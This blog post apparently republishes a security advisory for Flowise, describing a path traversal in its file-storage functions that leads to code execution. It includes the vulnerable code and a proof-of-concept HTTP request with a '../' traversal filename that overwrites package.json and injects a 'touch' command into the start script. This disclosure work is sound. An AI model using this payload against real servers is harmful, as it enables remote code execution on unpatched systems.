Bug Bounty

Flowise RCE via File Upload

pyozzi 2025. 3. 15. 01:08

https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-8vvx-qvq9-5948

 

Arbitrary file write to RCE

### Summary An attacker could write files with arbitrary content to the filesystem via the `/api/v1/document-store/loader/process` API. An attacker can reach RCE(Remote Code Execution) via file w...

github.com

https://flowiseai.com/

 

Flowise - Low code LLM Apps Builder

Open source low-code tool for developers to build customized LLM orchestration flow and AI agents

flowiseai.com


Summary

An attacker could write files with arbitrary content to the filesystem via the /api/v1/document-store/loader/process API.
An attacker can reach RCE(Remote Code Execution) via file writing.

Details

All file writing functions in packages/components/src/storageUtils.ts are vulnerable.
(https://github.com/FlowiseAI/Flowise/blob/flowise%402.0.7/packages/components/src/storageUtils.ts)

- addBase64FilesToStorage
- addArrayFilesToStorage
- addSingleFileToStorage

 

The fileName parameter, which is an untrusted external input, is being used as an argument to path.join() without sanitization.

const filePath = path.join(dir, fileName)
fs.writeFileSync(filePath, bf)

Therefore, users can move to the parent folder via ../ and write files to any path.

Once file writing is possible in all paths, an attacker can reach RCE (Remote Code Execution) in a variety of ways.

In PoC (Proof of Concept), RCE was reached by overwriting package.json.

PoC

In PoC, package.json is overwritten.
This is a scenario in which arbitrary code is executed when pnpm start is executed by changing the start command in the scripts{} statement to an arbitrary value.

original start command

"start": "run-script-os"

modify start command

"start": "touch /tmp/pyozzi-poc && run-script-os"

When a user runs the pnpm start command, a pyozzi-poc file is created in the /tmp path.

1. package.json content base64 encoding

{
    "name": "flowise",
    "version": "1.8.2",
    "private": true,
    "homepage": "https://flowiseai.com",
    "workspaces": [
        "packages/*",
        "flowise",
        "ui",
        "components"
    ],
    "scripts": {
        "build": "turbo run build && echo poc",
        "build-force": "pnpm clean && turbo run build --force",
        "dev": "turbo run dev --parallel",
        "start": "touch /tmp/pyozzi-poc && run-script-os", --> modify (add touch /tmp/pyozzi &&)
        "start:windows": "cd packages/server/bin && run start",
        "start:default": "cd packages/server/bin && ./run start",
        "clean": "pnpm --filter \"./packages/**\" clean",
        "nuke": "pnpm --filter \"./packages/**\" nuke && rimraf node_modules .turbo",
        "format": "prettier --write \"**/*.{ts,tsx,md}\"",
        "lint": "eslint \"**/*.{js,jsx,ts,tsx,json,md}\"",
        "lint-fix": "pnpm lint --fix",
        "quick": "pretty-quick --staged",
        "postinstall": "husky install",
        "migration:create": "pnpm typeorm migration:create"
    }, ... skip

2. Overwrite package.json via /api/v1/document-store/loader/process

image
POST /api/v1/document-store/loader/process HTTP/1.1
Host: localhost:3000
Content-Type: application/json

{
    "loaderId": "textFile",
    "storeId": "c4b8a8fb-9eb6-47ae-9caa-7702ef8baabb",
    "loaderName": "Text File",
    "loaderConfig": {
        "txtFile": "data:text/plain;{BASE64_ENCODED_PACKAGE_JSON},filename:/../../../../../usr/src/package.json",
        "textSplitter": "",
        "metadata": "",
        "omitMetadataKeys": ""
    }
}

The part after filename: of the txtFile parameter is the value used as fileName in the function.
Add ../ to the filename value to move to the top path, then specify package.json in the project folder /usr/src/ as the path.

image


Afterwards, when the user starts the server (pnpm start), the added script will be executed. (touch /tmp/pyozzi-poc)

3. Remote Code Execute

image

From the server logs, we can see that pnpm start is executed when the server starts, and then the touch /tmp/pyozzi-poc command is executed.

image


The pyozzi-poc file was created in the /tmp path.